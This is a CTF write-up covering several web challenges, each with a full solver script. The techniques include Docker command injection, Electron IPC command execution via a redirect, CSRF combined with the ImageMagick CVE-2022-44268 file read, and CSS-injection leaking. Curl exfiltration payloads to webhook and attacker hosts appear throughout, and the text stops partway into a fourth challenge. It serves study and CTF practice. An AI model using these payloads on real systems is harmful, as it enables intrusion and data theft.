34 minute read

QUALIFICATION

[856 pts] Not So Planned

Image

This challenge presents a web application that allows spawning Docker containers with user-defined UUIDs, along with an Electron-based client bot that automatically visits the specified UUID. The objective is to execute /readflag inside the container and exfiltrate the output. Interestingly, the challenge can be solved via two distinct attack surfaces:

  • RCE via unsanitized Docker command injection in the backend bot spawner.
  • RCE via XSS and insecure Electron preload exposure, leading to arbitrary command execution through exposed IPC handlers.

1. RCE through unsanitized user input in the bot spawner

app.post('/create', (req, res) => {
   const uuid = req.body.uuid;
   const instanceId = IMAGE_NAME + '-' + crypto.randomBytes(8).toString('hex')
   const command = `sudo docker run --init --network=host --name ${instanceId} -d --rm -e TIMEOUT=${TIMEOUT} -e SERVER=${APP_SERVER} -e UUID=${uuid} ${IMAGE_NAME}`
   cp.exec(command, err => {
       if (err)
           return res.send(
               `<b>Oops, something wrong: </b><pre>${err}</pre> (please report this error message to the challenge author)`
           )
       const expiredAt = new Date(+new Date() + TIMEOUT * 1000)
       req.session.expiredAt = +expiredAt
       req.session.info = `Bot started!
Instance ID: ${instanceId}
Server: ${APP_SERVER}
UUID: ${uuid}


This instance will be destroyed at ${expiredAt.toISOString()}.
`
       res.redirect('/')
   })
})

We were provided access to a web service that allowed spawning Docker containers using a POST /create endpoint. The backend logic invoked a docker run command using several environment variables, one of which was fully controlled by user input: uuid. The challenge stated that the spawned container image (bot) has curl and could potentially access a secret flag through a command like /readflag.

const uuid = req.body.uuid;
   const instanceId = IMAGE_NAME + '-' + crypto.randomBytes(8).toString('hex')
   const command = `sudo docker run --init --network=host --name ${instanceId} -d --rm -e TIMEOUT=${TIMEOUT} -e SERVER=${APP_SERVER} -e UUID=${uuid} ${IMAGE_NAME}`

As you can see here, there’s no sanitation at all T_T author should be releasing revenge challenge instead of patching it direct into the current challenge. Since the container has curl installed, we can use it to exfiltrate the flag by injecting a malicious command in the uuid parameter. We used the following payload:

uuid=123 not_so_planned_bot /bin/bash -c 'curl https://WEBHOOK?`/readflag`' %23

And the command that will be executed is

sudo docker run --init --network=host --name ${instanceId} -d --rm -e TIMEOUT=${TIMEOUT} -e SERVER=${APP_SERVER} -e UUID=${uuid} uuid=123 not_so_planned_bot /bin/bash -c 'curl https://webhook.site/108f5f00-e0b3-47a0-a530-fac40ce07b28?`/readflag`' # ${IMAGE_NAME}

2. RCE through electron app

Application flow Lets consider the first bug was fixed. So the flow of the application will be. Attacker Input UUID of the note -> spawn client bot -> visiting the note base on UUID that attacker specified

electron/main.ts

   const mainWindow = new BrowserWindow({
       width: 800,
       height: 600,
       webPreferences: {
           nodeIntegration: false,
           contextIsolation: true,
           preload: path.join(app.getAppPath(),
           process.env.NODE_ENV === "development" ? "." : "..",
           'dist-electron/preload.cjs'),
       },
   });

electron/preload.cts

const electron = require('electron');


const api = {
   getCachedPlans(): Promise<PlanCachedInterface>{
       return electron.ipcRenderer.invoke('get-cached-plans');
   },
   setCachedPlan(plan: PlanInterface){
       return electron.ipcRenderer.invoke('set-cached-plans',plan);
   },
   onPlanUpdated(callback: () => void) {
       const listener = () => callback();
       electron.ipcRenderer.on('plan-updated', listener);
       return () => {
           electron.ipcRenderer.off('plan-updated', listener);
       };
   },
   backupCachedPlan(name: string){
       return electron.ipcRenderer.invoke('backup-cached-plans', name);
   }
}


electron.contextBridge.exposeInMainWorld('api',api);

After build will be move into dist-electron/preload.cjs that used in main.ts electron/PlanCached.ts

import { exec } from 'node:child_process';
import fs from 'node:fs/promises'
export class PlanCached {
   constructor(private path: string, private plans: PlanCachedInterface){
       this.save();
   }
   async save(){
       return fs.writeFile(this.path, JSON.stringify(this.plans));
   }
   getCachedPlans(): PlanCachedInterface{
       return this.plans;
   }
   setCachedPlan(plan: PlanInterface){
       this.plans.plans.push(plan);
       this.save();
   }
   backupCachedPlan(name: string){
       let command = '';
       switch (process.platform){
           case 'win32':
               command=`powershell -Command "Compress-Archive -Path ${this.path} -DestinationPath ${name}.zip"`;
               exec(command);
               break;
           case 'darwin':
               command=`zip -r ${this.path} ${name}.zip`;
               exec(command);
               break;
           case 'linux':
               command=`zip ${name}.zip ${this.path}`;
               exec(command);
               break;
           default:
               break;
       }
   }
   static async init(path: string){
       try{
           const data = JSON.parse(await fs.readFile(path, 'utf-8'));
           return new PlanCached(path, data);
       }catch{
           return new PlanCached(path, {plans: []});
       }
   }
}

Look into backupCachedPlan there was command execution base on name argument

zip ${name}.zip ${this.path}

If we can set the name into our injection payload e.g.: `curl webhook?$(/readflag)` that command will be executed as

zip `curl webhook?$(/readflag)`.zip ${this.path}

How electron app work

A preload script runs in the renderer process, before any web page scripts load. It acts as a bridge between the Node.js APIs (in the main process) and the web page (renderer), while maintaining security boundaries.

   const mainWindow = new BrowserWindow({
       width: 800,
       height: 600,
       webPreferences: {
           nodeIntegration: false,
           contextIsolation: true,
           preload: path.join(app.getAppPath(),
           process.env.NODE_ENV === "development" ? "." : "..",
           'dist-electron/preload.cjs'),
       },
   });
  • nodeIntegration: false -> disables direct Node.js access in renderer.
  • contextIsolation: true -> keeps web page JavaScript separate from preload script.
  • preload -> loads a trusted script with limited Node access.

dist-electron/preload.cjs

"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
const electron = require('electron');
const api = {
   getCachedPlans() {
       return electron.ipcRenderer.invoke('get-cached-plans');
   },
   setCachedPlan(plan) {
       return electron.ipcRenderer.invoke('set-cached-plans', plan);
   },
   onPlanUpdated(callback) {
       const listener = () => callback();
       electron.ipcRenderer.on('plan-updated', listener);
       return () => {
           electron.ipcRenderer.off('plan-updated', listener);
       };
   },
   backupCachedPlan(name) {
       return electron.ipcRenderer.invoke('backup-cached-plans', name);
   }
};
electron.contextBridge.exposeInMainWorld('api', api);

exposeInMainWorld is a method provided by Electron in the contextBridge module. It’s used to safely expose specific APIs or values from Electron preload.js script to the renderer process (web page).

This is especially important when using context isolation, a security feature that prevents direct access to Node.js and Electron APIs from the renderer. exposeInMainWorld allows you to selectively “whitelist” functionality that the renderer can access. In this case turns out author exposing bug that we can exploit using that api through backupCachedPlan function

in renderer the exposed api stored into window global Window

Even on Other origin the api still exposed

Window

As we can see window.api is exposed even the origin was different from the initiation window the api still exposed If we can achieve XSS or Redirection we can achieve our injection by invoking backupCachedPlan function

HTML INJECTION / XSS

ui/pages/ViewPlan.tsx

const ViewPlan = () => {
 const { uuid } = useParams();
 const [planData, setPlanData] = useState<PlanData | null>(null);
 const [error, setError] = useState("");
 const descriptionBox = useRef<HTMLParagraphElement>(null);
 const titleBox = useRef<HTMLHeadingElement>(null);
 useEffect(() => {
   const fetchPlan = async () => {
     try {
       const res = await fetch(`http://localhost:3000/get-plan/${uuid}`);
       if (!res.ok) throw new Error("Plan not found");
       const data = await res.json();
       setPlanData(data.plan);
     } catch (err: any) {
       setError(err.message || "Error fetching plan");
     }
   };
   fetchPlan();
 }, [uuid]);
 useEffect(() => {
   if (descriptionBox.current && planData?.description) {
     descriptionBox.current.innerHTML = planData.description;
   }
 }, [planData]);
 if (error) return <p className="text-red-500">{error}</p>;
 if (!planData) return <p>Loading...</p>;
 return (
   <div className="w-full h-full flex items-center justify-center">
       <div className="h-3/4 w-3/4 flex flex-col">
         <div className="bg-zinc-500 w-full h-fit min-h-10 rounded-t-lg gap-2 flex items-center justify-center">
           <div className="bg-lime-500 w-4 h-4 rounded-full"></div>
           <h1 className="title-area text-xl font-semibold text-center text-white">
             {planData.title}
           </h1>
         </div>
         <div className="bg-zinc-100 w-full h-full flex flex-col gap-y-2 rounded-b-lg py-10 px-10">
           <ImportantType type={planData.important_type} />
           <div className="h-3/4 w-full justify-items-start">
             <p id="description-container" className="description-area text-4sm text-center" ref={descriptionBox}></p>
           </div>
         </div>
       </div>
   </div>
 );
};

We can see here after fetching note information into backend application descriptionBox will be set using innerHTML that mean we can achieve xss or redirection, nothing sanitized on the client side

backend.js

const express = require('express');
const sqlite3 = require('sqlite3');
const { v4: uuidv4 } = require('uuid');
const cors = require('cors');


const app = express();
const PORT = 3000;
const db = new sqlite3.Database("planner.db");
const unnecessaryChar = "abbr acronym address applet area article aside audio base bdi bdo big blink blockquote br button canvas caption center cite code col colgroup command content data datalist dd del details dfn dialog dir div dl dt element em embed fieldset figcaption figure font footer form frame frameset head header hgroup hr html iframe image input kbd keygen label legend li link listing location main map mark marquee menu menuitem meta meter multicol nav nextid nobr noembed noframes noscript object optgroup output param picture plaintext pre progress samp script section select shadow slot small source spacer span strike strong sub . summary sup svg table webview web view tbody td template textarea tfoot th thead time tr track tt ul var video replace eval ( ) `".split(" ")


function Migrate(){
   db.exec(`
       DROP TABLE IF EXISTS Plans;
       CREATE TABLE Plans(
           uuid CHAR(36) PRIMARY KEY,
           title TEXT NOT NULL,
           description TEXT NOT NULL,
           important_type INTEGER NOT NULL
       );
       `);
}


Migrate();


const CreatePlan = db.prepare("INSERT INTO Plans (uuid, title, description, important_type) VALUES (?, ?, ?, ?)");
app.use(cors());
app.use(express.json());


app.get("/", (req,res) => {
   res.send("Connection OK");
});


app.get("/get-plan/:uuid", (req, res) => {
   const uuid = req.params.uuid;
   db.get("SELECT * FROM Plans WHERE uuid = ?", [uuid], (err, row) => {
       if (err) return res.status(500).json({ message:"error", error: err.message });
       if (!row) return res.status(404).json({ message: "plan not found" });
       res.status(200).json({ message: "success", plan: row });
   });
});


app.post("/create-plan", (req, res) => {
   let { title, description, important_type } = req.body;
   if (!title || !description || important_type === undefined) {
       return res.status(400).json({ message: "A field is missing" });
   }


   if (typeof important_type !== 'number') {
       return res.status(400).json({ message: "important_type should be a number" });
   }


   if (important_type < 1 || important_type > 3) {
       return res.status(400).json({ message: "important_type should be ranged 1-3" });
   }
   const escapeRegExp = s => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
   for (const c of unnecessaryChar) {
       const pattern = new RegExp(escapeRegExp(c), 'gi');
       description = description.replace(pattern, '');
   }


   const uuid = uuidv4();


   try {
       CreatePlan.run(uuid, title, description, important_type);
       return res.status(201).json({ message: "success", plan: uuid });
   } catch (e) {
       return res.status(500).json({ message: "error creating plan", error: e.message });
   }
});


app.listen(PORT, async () => {
   console.log(`App Started in http://localhost:${PORT}`);
});

Turns out the sanitation process happened on backend server

   const escapeRegExp = s => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
   for (const c of unnecessaryChar) {
       const pattern = new RegExp(escapeRegExp(c), 'gi');
       description = description.replace(pattern, '');
   }

The server loops through an array of blacklisted keywords like abbr, script, eval, (, ., etc., and for each item, it performs a .replace() operation on the entire user-provided description string.

However, sanitization only happens once per keyword, in the order they’re listed. So, if we input script, it will be caught and removed when the loop reaches the script keyword. But we can bypass this by embedding the next banned character in the middle of the keyword, for example:

  • scrSCRIPTipt: When the loop reaches script, the word SCRIPT is removed, leaving script again.
  • Then, if the next banned character is a backtick (`), we can write: sc`ript, which becomes valid again after each replacement.

This makes it possible to reconstruct dangerous keywords progressively by weaving in banned characters after their corresponding checks have passed.

The challenge comes when characters like ( are banned, since invoking functions (e.g. alert()) typically requires parentheses. So how can we execute code if ( is removed? Well, here’s the shortcut: we don’t need to invoke anything directly. If our malicious payload gets loaded into the page, we can simply redirect the page to our attacker-controlled domain. Why? Because our other origin (the attacker domain) still has access to window.api thanks to author not whitelisting the origin in preload.

The preload script exposed contextBridge API remains in the global window object even in the redirected page. So instead of fighting with escaping and invoking code directly in a restricted environment, we just:

  • Input a payload that causes the page to redirect to our domain.
  • Wait for the preload script to expose window.api.
  • Use the exposed API from the malicious page to steal files, invoke sensitive functions, etc.
<meta http-equiv="refresh" content="5;url=https://itsbengsky.id">

But look at dot symbol also banned which mean if we specify itsbengsky.id will be itsbengskyid alt text

Since the dot (.) symbol is a single character and cannot be bypassed in this context, how can we still achieve redirection?

The trick lies in how IPv4 addresses work. An IP like 16.78.71.126 is typically written in dotted decimal format (A.B.C.D), where each segment represents 8 bits. However, it’s actually just a single 32-bit integer under the hood.

We can convert it using the following formula:

A.B.C.D = (A × 256Âł) + (B × 256ÂČ) + (C × 256Âč) + D
        = (16 × 256Âł) + (78 × 256ÂČ) + (71 × 256Âč) + 126
        = (16 × 16777216) + (78 × 65536) + (71 × 256) + 126
        = 268435456 + 5111808 + 18176 + 126
        = 273565566

So instead of using a dotted IP, we can access the same host using its decimal form: http://273565566/

Just host our exploit there, and here’s the final redirection payload:

<meta http-equiv="refresh" content="0; url=http://273565566/">

alt text

CHAINING THE VULN:

Post redirection to backend -> spawn bot with the uuid -> redirected to our server -> execute window.api -> Profit

SOLVER

from flask import Flask, request
import requests
import threading
import time
app = Flask(__name__)
HOST_IP = "0.0.0.0"
PORT = 8000
TARGET_HOST = "http://13.250.64.232"


@app.route("/", methods=["GET", "POST"])
def home():
   if request.method == "POST":
       print(request.form.get("flag"))
   return f"""
   <script>
       window.api.backupCachedPlan("`curl -X POST http://{HOST_IP}:{PORT}/ --data \\"flag=$(/readflag)\\"`")
   </script>
   """
def run_flask():
   app.run(host="0.0.0.0", port=8000)
if __name__ == "__main__":
   flask_thread = threading.Thread(target=run_flask)
   flask_thread.daemon = True
   flask_thread.start()
   print("Waiting flask to be up")
   time.sleep(1)
   print("Send redirection")
   req = requests.post(TARGET_HOST+":"+"5599/create-plan", json={
   "title":"x",
   "description":f"<met(a ht(tp-equiv=\"refresh\" cont(ent=\"0;url=ht(tp://{HOST_IP}:{PORT}\">","important_type":1
   }).json()
   uuid = req['plan']
   print("Spawn bot")
   req = requests.post(TARGET_HOST+":"+"5598/create", data={
       "uuid":uuid
   })
   time.sleep(3)

[775 pts] Image Vault

alt text

This challenge objective is gaining flag through /flag endpoint that required admin privileges.

By analyzing Dockerfile

RUN curl -sSL https://imagemagick.org/archive/releases/ImageMagick-7.1.0-49.tar.xz | tar -xJ -C /tmp/ && \
   cd /tmp/ImageMagick-7.1.0-49 && \
   PKG_CONFIG_PATH=/usr/local/lib/pkgconfig ./configure --with-png=yes && make install && ldconfig /usr/local/lib

We know that service use ImageMagick-7.1.0 had CVE-2022-44268 ImageMagick 7.1.0-49 is vulnerable to Information Disclosure. When it parses a PNG image (e.g., for resize), the resulting image could have embedded the content of an arbitrary. file (if the magick binary has permissions to read it).

def is_admin(f):
   @wraps(f)
   def decorated_function(*args, **kwargs):
       if session.get("role") != "admin":
           return redirect("/home")
       return f(*args, **kwargs)
   return decorated_function

@web_blueprint.get("/flag")
@login_required
@is_admin
def flag():
   flag = os.environ.get('FLAG')
   return render_template("flag.html", flag=flag)

To able view flag we need role @is_admin

class Config(object):
   SESSION_COOKIE_SAMESITE = "None"
   SESSION_COOKIE_SECURE = True
   SECRET_KEY = os.urandom(50).hex()
   SQLALCHEMY_DATABASE_URI = "sqlite:///database.db"
   UPLOAD_FOLDER = "/app/application/static/uploads"

db.migrate("admin", os.getenv("ADMIN_PASSWORD"), "[email protected]", "admin")

We know that admin_password stored on database.db so if we can read that file we gain admin password ? can we read ?

@api_blueprint.post("/upload")
@cross_origin(origins="*", supports_credentials=True)
@login_required
def upload():
   data = request.get_json()
   base64_image = data.get("image")
   filename = f"{uuid4()}.png"
   file_path = os.path.join(current_app.config["UPLOAD_FOLDER"], filename)
  
   if not base64_image or base64_image is None:
       return jsonify({"success": False, "message": "Bad Request"}), 400


   try:
       image = b64decode(base64_image)
       with open(file_path, "wb") as f:
           f.write(image)
      
       cmagick.resize(file_path, "75%", file_path)
       db.add_image(session.get("username"), filename)


   except:
       return jsonify({"success": False, "message": "Bad Request"}), 400


   return jsonify({"success": True}), 200

The ImageMagick exploitation need @login_required

CSRF

Lets take a look into the config one more time

class Config(object):
   SESSION_COOKIE_SAMESITE = "None"
   SESSION_COOKIE_SECURE = True
   SECRET_KEY = os.urandom(50).hex()
   SQLALCHEMY_DATABASE_URI = "sqlite:///database.db"
   UPLOAD_FOLDER = "/app/application/static/uploads"
db.migrate("admin", os.getenv("ADMIN_PASSWORD"), "[email protected]", "admin")

As we can see here SameSite=None

Cookie will be sent with cross-site requests and we can perform CSRF attack to add invitation code into the admin. And we can fetch the invitation code since the route accept * cross origin site. Add-invite-code doesnt had cross origin, we cant get the response body but the payload still send.

@api_blueprint.post("/register")
@cross_origin(origins="*", supports_credentials=True)
def register():
   data = request.get_json()
   username = data.get("username")
   password = data.get("password")
   email = data.get("email")
   invite_code = data.get("invite_code")
   status, user = db.register(username, password, email, "user", invite_code)
   if not status:
       return jsonify({"success": False, "message": user}), 400
   session["username"] = user.username
   session["role"] = user.role
   session["is_loggedin"] = True
   return jsonify({"success": True, "message": "Invite code successfully created"}), 200

To register we need invitation code, how we able to obtain invitation code ?

@api_blueprint.get("/invite-code/<username>")
@cross_origin(origins="*", supports_credentials=True)
@login_required
@is_admin
def view_invite_code(username):
   return jsonify(format_json("invite_code", db.list_invitation(username))), 200

@api_blueprint.post("/add-invite-code")
@login_required
@is_admin
def add_invite_code():
   data = request.get_json(force=True)
   username = data.get("username")
   if not username or username is None:
       return jsonify({"success": False, "message": "Bad Request"}), 400
   status, invitation = db.create_invitation(username)
    if not status:
       return jsonify({"success": False, "message": invitation}), 400
   return jsonify({"success": True, "message": invitation}), 200

alt text

As you can see, the CORS is blocked but payload still send, but

@api_blueprint.post("/report")
@cross_origin(origins="*", supports_credentials=True)
def report_broken_link():
   data = request.get_json()
   url = data.get("url")
   ip = request.remote_addr
   if ip in active_visits:
       return jsonify({"success": False, "message": "Bot is already processing a URL for your IP. Please wait until it finishes."}), 429  
   if not url or not (url.startswith("https://localhost:1337") or url.startswith("https://127.0.0.1:1337")):
       return jsonify({"success": False, "message": "Invalid URL."}), 400
   active_visits.add(ip)
   threading.Thread(target=visit_url, args=(url, ip), daemon=True).start()
   return jsonify({"success": True, "message": "Bot is visiting your URL."})

Url must start with https://localhost:1337, The intention is to only allow URLs that point to:

  • https://localhost:1337
  • https://127.0.0.1:1337

https://localhost:[email protected] This passes the startswith(“https://localhost:1337”) check, because it begins with that string. But in reality, the full domain is: https://attacker.com Here the exploit to obtain invitation_code

<html>
   <script>
       function sleep(ms) {
          return new Promise(resolve => setTimeout(resolve, ms));
       }
           try{   
               fetch("https://127.0.0.1:1337/api/add-invite-code",
                   {
                       method:"POST",
                       credentials: "include",
                       body: JSON.stringify({username: "bengsky"})
                   }
               )
           }catch(err){
               console.log(err)
           }
           (async() =>{
               await sleep(500)
               const x = await fetch("https://127.0.0.1:1337/api/invite-code/bengsky",{
                   credentials: "include"
               })
               const y = await x.json()
               const code = y.invite_code.code
           })()
   </script>
</html>

We just need to serve it into ssl server since the protocol is forced to be https alt text

And then just register with that invite_code

Arbitrary File Read

We know that route upload is doing resizing using vulnerable imagemagick version And with this PoC CVE-2022-44268 We can craft our malicious image to read the database.db path on /app/instance/database.db

Then step to exploit is

  1. pngcrush -text a “profile” “/app/instance/database.db” x.png
  2. Upload
  3. Download uploaded image
  4. Identify -verbose download.png Lets have a try

alt text

Its fail to read /app/instance/database.db turns out it cant read .db file. After several research turns out the python stored the sqlite object into fd/3

alt text

python run in PID 13 Since the user is root we can simply get the /proc/13/fd/3

Lets have try with ImageMagick

alt text

Now we’re just need to login as admin and fetch the flag

CHAINING THE VULN

CSRF -> Register -> Upload Arbitrary File Read -> Download -> Login as admin -> Profit

SOLVER

from flask import Flask, request
import requests
import subprocess
import base64
TARGET = "https://54.254.152.24:1337"
# TARGET = "https://localhost:1337"
HOST = "0.tcp.ap.ngrok.io:15965"
requests.post(TARGET+"/api/report", json={
   "url":"https://localhost:1337@"+HOST
}, verify=False)
def print_image_profiles(image_path):
   try:
       result = subprocess.run(
           ['identify', '-verbose', image_path],
           capture_output=True, text=True, check=True
       )
       output = result.stdout
       x = ''.join(output.split('Raw profile type')[1].split('signature')[0].split("\n")[3:-1])
       password = bytes.fromhex(x).split(b'admin')[1]
       return password
   except subprocess.CalledProcessError as e:
       print("Error running identify:", e)


app = Flask(__name__)
@app.route("/exploit")
def exploit():
   invit_code = request.args.get('invit_code')
   print(invit_code)
   req = requests.Session()
   req.post(TARGET+"/api/register", json={"username":"bengsky13","email":"[email protected]","password":"123123@A","invite_code":invit_code}, verify=False)
   subprocess.run(['pngcrush', '-text', 'a', 'profile', '/proc/13/fd/3', 'x.png'], capture_output=True)
   print("DEBUG HERE")
   image = base64.b64encode(open("pngout.png","rb").read()).decode()
   req.post(TARGET+"/api/upload", json={"image":image}, verify=False)
   print("UPLOADED")
   x = req.get(TARGET+"/home", verify=False)
   print(x.text)
   path = x.text.split('<img src="/static/uploads/')[1].split('"')[0]
   download = req.get(TARGET+"/static/uploads/"+path, verify=False)
   with open("download.png", "wb") as f:
       f.write(download.content)
   print("Image downloaded.")
   password = print_image_profiles("download.png")
   req = requests.Session()
   req.post(TARGET+"/api/login", json={
       "username":"admin",
       "password":password
   }, verify=False)
   print(req.get(TARGET+"/flag", verify=False).text.split('<p class="text-muted">')[1].split('</p>'))
   return 'a'
@app.route("/")
def home():
   return """
"""
if __name__ == "__main__":
   app.run(ssl_context=("cert.pem", "key.pem"), host="0.0.0.0", port=8000)

[856 pts] note app biasa

alt text

Answer to challenge description: ora ctf yo sakau

This challenge quite be simple, there was bot that logged as admin and view note that will be specify by user

ANALYZE

from flask import Blueprint, request, jsonify
from .auth import login_required
from selenium import webdriver
from selenium.webdriver.firefox.service import Service as FirefoxService
from selenium.webdriver.firefox.options import Options as FirefoxOptions
from selenium.webdriver.firefox.firefox_profile import FirefoxProfile
from time import sleep




bot_bp = Blueprint('bot', __name__)


def read_note(note_id):
   driver = None
   try:
       service = FirefoxService(executable_path="/usr/local/bin/geckodriver")


       profile = FirefoxProfile()
       profile.set_preference("dom.disable_open_during_load", False)
      
       options = FirefoxOptions()
       options.add_argument("--headless")
       options.add_argument("--window-size=1920,1080")
       options.add_argument("--disable-gpu")
       options.profile = profile


       driver = webdriver.Firefox(service=service, options=options)


       driver.implicitly_wait(3)
       driver.set_page_load_timeout(3)
       # login as admin
       driver.get("http://localhost:5001/auth/login")
       sleep(2)
       username = driver.find_element("name", "username")
       password = driver.find_element("name", "password")
       username.send_keys("admin")
       password.send_keys("REDACTED")
       driver.find_element("xpath", "//button[@type='submit']").click()
      
       driver.get("http://localhost:5001/notes/view/" + note_id)
       sleep(5)
      
   except Exception as e:
       print(f"Error during Selenium operation with Firefox: {e}")
       if driver:
           try:
               driver.quit()
           except Exception as qe:
               print(f"Error quitting driver during exception: {qe}")
       return False
   finally:
       if driver:
           try:
               driver.quit()
               print("Firefox driver quit successfully in finally block.")
           except Exception as e_finally:
               print(f"Error quitting Firefox driver in finally block: {e_finally}")
   return True


@bot_bp.route('/report', methods=['POST'])
@login_required
def report():
   data = request.get_json()
   if not data or 'note_id' not in data:
       return jsonify({"error": "Invalid request"}), 400
   note_id = data.get('note_id')
  
   if not note_id:
       return jsonify({"error": "Note ID is required"}), 400
  
   if read_note(note_id):
       return jsonify({"message": "Bot operation completed successfully"}), 200
   else:
       return jsonify({"error": "Bot operation failed"}), 500

At first i thought it was xss injection to fetch content on admin note. Turns out it was just css injection, but with nonce

@notes_bp.route('/view/<string:note_id>')
@login_required
def view_note(note_id):
   note = Note.query.get_or_404(note_id)
  
   return render_template('notes/view.html', note=note)

Everyone can view another user note id, which mean we just need to leak admin note id Here is the template for the note viewer

1. CSS INJECTION

The csp quite strict

   response.headers['Content-Security-Policy'] = (
       f"default-src 'self'; "
       f"script-src 'self' 'nonce-{nonce}'; "
       f"style-src 'self' 'nonce-{nonce}'; "
       f"img-src *; "
       f"font-src 'self'; "
       f"connect-src 'self'; "
   )

But there was some custom theme css

{% extends "base.html" %}
{% block title %}View Note - Notes App{% endblock %}
{% block content %}
<div class="card">
   <div class="flex-between">
       <div>
           <h2 id="note-title">{{ note.title }}</h2>
           <div class="note-meta">
               <p>Created: {{ note.created_at }} | Updated: {{ note.updated_at }}</p>
           </div>
       </div>
       <div class="flex-actions">
           <a href="{{ url_for('notes.dashboard') }}" class="btn">Back to Notes</a>
       </div>
   </div>


   <div class="note-content" id="note-content">
       <p>{{ note.content|safe }}</p>
   </div>
</div>
{% endblock %}
{% block scripts %}
<script src="{{ url_for('static', filename='js/options.js') }}"></script>
<script nonce="{{ nonce }}">
   if (options.custom_theme) {
       const style = document.createElement('style');
       style.textContent = document.getElementById('custom-theme-styles').textContent;
       style.nonce = '{{ nonce }}';
       document.head.appendChild(style);
       localStorage.setItem('custom_theme', style.textContent);
   }
</script>
{% endblock %}



   if (options.custom_theme) {
       const style = document.createElement('style');
       style.textContent = document.getElementById('custom-theme-styles').textContent;
       style.nonce = '{{ nonce }}';
       document.head.appendChild(style);
       localStorage.setItem('custom_theme', style.textContent);
   }

All textContent inside custom-theme-styles class will be stored into localstorage, and then in all template (base.html) will get that localStorage then append to a style

       <script nonce="{{ nonce }}">
           const style = document.createElement('style');
           style.textContent = localStorage.getItem('custom_theme') || "";
           style.nonce = '{{ nonce }}';
           document.head.appendChild(style);
       </script>

Therefore we can leak admin note id Crafting CSS leak CSS injection (or Cascading Style Sheets injection) can be abused to leak data from a page, especially when you can control some part of a CSS file or inject style rules into a page viewed by a victim. Let’s break down how this could apply to a link like:

<a href="/note/view/123456">Link</a>

CSS has selectors like:

a[href*="123456"] { background-image: url("https://evil.com/leak?found=123456"); }

This triggers a request to evil.com if the page contains a link whose href contains the word 123456 Now we’re just craft

a[href^="/note/view/1"] { background-image: url("https://attacker.com/leak?c=1"); }
a[href^="/note/view/2"] { background-image: url("https://attacker.com/leak?c=2"); }
...
a[href^="/note/view/9"] { background-image: url("https://attacker.com/leak?c=9"); }

Make the admin view /dashboard There many way to make the admin viewing /dashboard we can use redirection, iframe, report bot using ../../dashboard, but this one very slow since the rate limit is 3 time per hour its very slow to leak length 16 hex, so redirection and iframe is the choice, Im choose to use redirection using meta tag refresh

<meta http-equiv="refresh" content="0;url=https://example.com">

CHAINING THE EXPLOIT

Register as user -> create css injection + redirection -> submit into admin -> Profit

SOLVER

from flask import Flask, Response, make_response, request
import requests
import threading
current_note = ""
known_prefix = "/notes/view/"
app = Flask(__name__)
import string
import requests
HOST = "http://54.254.152.24:5001/"
# HOST = "http://localhost:5001/"
EXFIL_URL = "http://0.tcp.ap.ngrok.io:14155/"
req = requests.Session()
username = "bengsky"
password = "123123@A"
email = "[email protected]"
req.post(HOST+"/auth/register", data={
   "username":username,
   "password":password,
   "email":email,
   "confirm_password":password
})
req.post(HOST+"/auth/login", data={
   "username":username,
   "password":password,
   "email":email,
   "confirm_password":password
})
##Create redirection
redirect = req.post(HOST+"/notes/create", data={
   "title":"1",
   "content":f"<meta http-equiv=\"refresh\" content=\"0;url={EXFIL_URL}\">"
}, allow_redirects=False).headers.get('Location').split("/")[-1]
print("Redirect id", redirect)
charset = "01234567890abcdef"
def generate_css_payload(prefix):
   css = ""
   for c1 in charset:
       for c2 in charset:
           attempt = prefix + c1 + c2
           selector = f'a[href^="{attempt}"]'
           url = f'{EXFIL_URL}leak?id={attempt}'
           css += f'{selector} {{ background: url("{url}"); }}\n'
   return css
def create_note():
   global req
   global known_prefix
   global HOST
   payload = generate_css_payload(known_prefix)
   url = HOST+"/notes/create"
   data = {
       "title": "x",
       "content": f'<div id="custom-theme-styles">{payload}</div>'
   }
   response = req.post(url, data=data, allow_redirects=False)
   return(response.headers.get('Location'))
@app.route('/')
def index():
   global HOST
   html = f'''
   <!DOCTYPE html>
   <html>
   <head>
     <title>CSS Leak</title>
   </head>
   <body>
   <script type="module">
   function sleep(ms) {{
       return new Promise(resolve => setTimeout(resolve, ms));
       }}
   (async() =>{{
   await sleep(200)
   for(let i = 0; i<16; i++){{
   const x = await fetch("/prefix")
   const y = await x.text()
   window.open("http://localhost:5001/"+y, "_blank")
   window.open("http://localhost:5001/notes/dashboard", "_blank")
   }}
   const x = await fetch("/done")


   }})()
   </script>
   </body>
   </html>
   '''
   return make_response(html)


@app.route('/prefix')
def prefixs():
   global known_prefix
   return Response(create_note(), mimetype='text/plain')


@app.route('/done')
def done():
   global known_prefix
   print(req.get(HOST+known_prefix).text.split('<p>Here is your flag: ')[1].split('</')[0])
   return Response(create_note(), mimetype='text/plain')


@app.route('/leak')
def leak():
   global known_prefix
   prefixs = request.args.get('id')
   known_prefix = prefixs
   return Response('ok', mimetype='text/plain')
def submit_bot():
   print("Submiting to bot")
   req.post(HOST+"/bot/report", json={
   "note_id":redirect
   })
if __name__ == '__main__':
   print("[*] Waiting for leak to trigger...")
   threading.Thread(target=submit_bot, daemon=True).start()
   app.run(port=8000)

[879 pts] Under Development

alt text

Description

My Boss decided to make a new website for our store since we keep getting hate reviews from past website i don't know why he decided to do that
Note: HIDDEN_INFO will always been an 8 digit numbers

This challenge objective is obtain hidden-access code then use it into /guess-access to retrieve FLAG, this can be done using XSLeaks approach

Lets take a look to bot function

async function visit(url) {
   let browser = await puppeteer.launch({
       ignoreHTTPSErrors: true,
       acceptInsecureCerts: true,
       headless: true,
       args: [
           '--no-sandbox',
           '--disable-background-networking',
           '--disable-default-apps',
           '--disable-extensions',
           '--disable-gpu',
           '--disable-sync',
           '--disable-translate',
           '--metrics-recording-only',
           '--mute-audio',
           '--no-first-run',
           '--safebrowsing-disable-auto-update',
           '--disable-dev-shm-usage',
           '--incognito',
       ]
   })
   const cookie = generateJWT({username: "alamakjang", role:1})
   const ctx = await browser.createBrowserContext()
   const page = await ctx.newPage()
   console.log(`Visiting -> ${url}`)
   try {
       await page.setCookie({
           name: 'user_access',
           value: cookie,
           domain: new URL(APP_URL).hostname,
           httpOnly: true,
           sameSite: 'Lax'
       });
       await page.goto(url)
       await sleep(3*60*1000)
   } catch (err){
       console.log(err);
   } finally {
       await page.close()
       await ctx.close()
       console.log(`Done visiting -> ${url}`)
   }
}

After bot generating token it will go to user specific url

CSS Injection

@app.route("/customer-message", methods=["GET"])
@auth_required
def getMessages():
